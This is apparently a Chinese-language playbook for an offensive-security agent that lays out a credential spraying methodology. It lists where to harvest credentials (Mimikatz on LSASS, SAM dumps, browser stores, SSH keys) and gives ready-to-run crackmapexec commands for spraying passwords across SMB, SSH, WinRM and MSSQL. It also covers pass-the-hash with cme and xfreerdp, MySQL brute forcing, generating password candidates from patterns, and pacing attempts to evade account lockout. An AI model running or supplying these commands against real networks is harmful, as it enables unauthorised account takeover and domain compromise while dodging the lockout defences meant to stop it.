cred-spray

凭据喷洒攻击方法论

⛔ 深入参考（必读）

• 需要喷洒前的凭据枚举与收集方法 → references/pre-cred-enumeration.md

---

凭据喷洒和暴力破解不同——暴力破解是对一个账户试很多密码，凭据喷洒是用一个密码试很多账户。后者不容易触发账户锁定。

Phase 1: 凭据清点

1.1 汇总已有凭据

用 evidence_list + evidence_read（筛选凭据类型）获取已收集的所有凭据。

凭据来源总结：

来源	凭据类型	获取方法
配置文件	明文密码	数据库连接串、.env 文件
LSASS 内存	NTLM 哈希/明文	Mimikatz
SAM 数据库	NTLM 哈希	reg save + secretsdump
浏览器	明文密码	Chrome Login Data
SSH 密钥	私钥	~/.ssh/id_rsa
历史命令	明文密码	.bash_history
Kerberos	TGS 票据	Kerberoasting

1.2 构造凭据字典

将收集到的凭据整理为：

• 用户名列表
• 密码列表（明文 + 常见变体如 Password1! → Password2!）
• 哈希列表（用于 PTH）

Phase 2: 喷洒策略

2.1 密码喷洒（避免锁定）

关键原则：一次只试一个密码，等待间隔后再试下一个。

# 使用 crackmapexec 对 SMB 喷洒
cme smb 10.0.0.0/24 -u userlist.txt -p 'Password123!' --continue-on-success

# 单密码多用户（安全）
cme smb DC_IP -u userlist.txt -p 'Summer2024!' --continue-on-success

# 多密码时设置间隔（通常锁定策略是 30 分钟 5 次）
# 每次只试一个密码，间隔 35 分钟

2.2 Pass-the-Hash (PTH)

有 NTLM 哈希不需要明文密码：

# SMB
cme smb 10.0.0.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:HASH'

# WMI
cme wmi TARGET -u administrator -H HASH

# RDP (Restricted Admin 模式)
xfreerdp /v:TARGET /u:administrator /pth:HASH

2.3 多服务喷洒

同一凭据尝试不同服务：

# SSH
cme ssh 10.0.0.0/24 -u admin -p 'password'

# WinRM
cme winrm 10.0.0.0/24 -u admin -p 'password'

# MSSQL
cme mssql 10.0.0.0/24 -u sa -p 'password'

# MySQL
# MySQL（使用 nuclei 自定义模板爆破）
echo 'root' | nuclei -u mysql://10.0.0.1:3306 -t ~/nuclei-templates/brute/ 2>/dev/null || \
  mysql -h 10.0.0.1 -u root -p'password' -e "SELECT 1"

Phase 3: 结果分析

成功的凭据用 evidence_save 保存，然后评估：

• 本地管理员 → 可用于横向移动到该主机
• 域用户 → 可用于域内资源访问
• 域管理员 → 游戏结束，直接控制整个域
• 服务账户 → 可能有特殊权限（数据库/备份等）

Phase 4: 密码规律分析

从已获取的密码中寻找模式：

• 公司名+年份：Company2024!
• 季节+年份：Summer2024!, Winter2024
• 键盘模式：Qwer1234!, P@ssw0rd
• 用户名变体：john → John123!

用发现的模式生成更多候选密码进行喷洒。

注意事项

• 了解目标的账户锁定策略（net accounts /domain）
• 通常策略：5 次错误锁定 30 分钟 → 每 35 分钟最多试 4 次
• 优先喷洒高价值目标（域控/数据库/备份服务器）
• PTH 不触发账户锁定（不经过密码验证）

锁定策略感知

• 控制尝试次数在 4 次以内（低于 5 次阈值），不触发账户锁定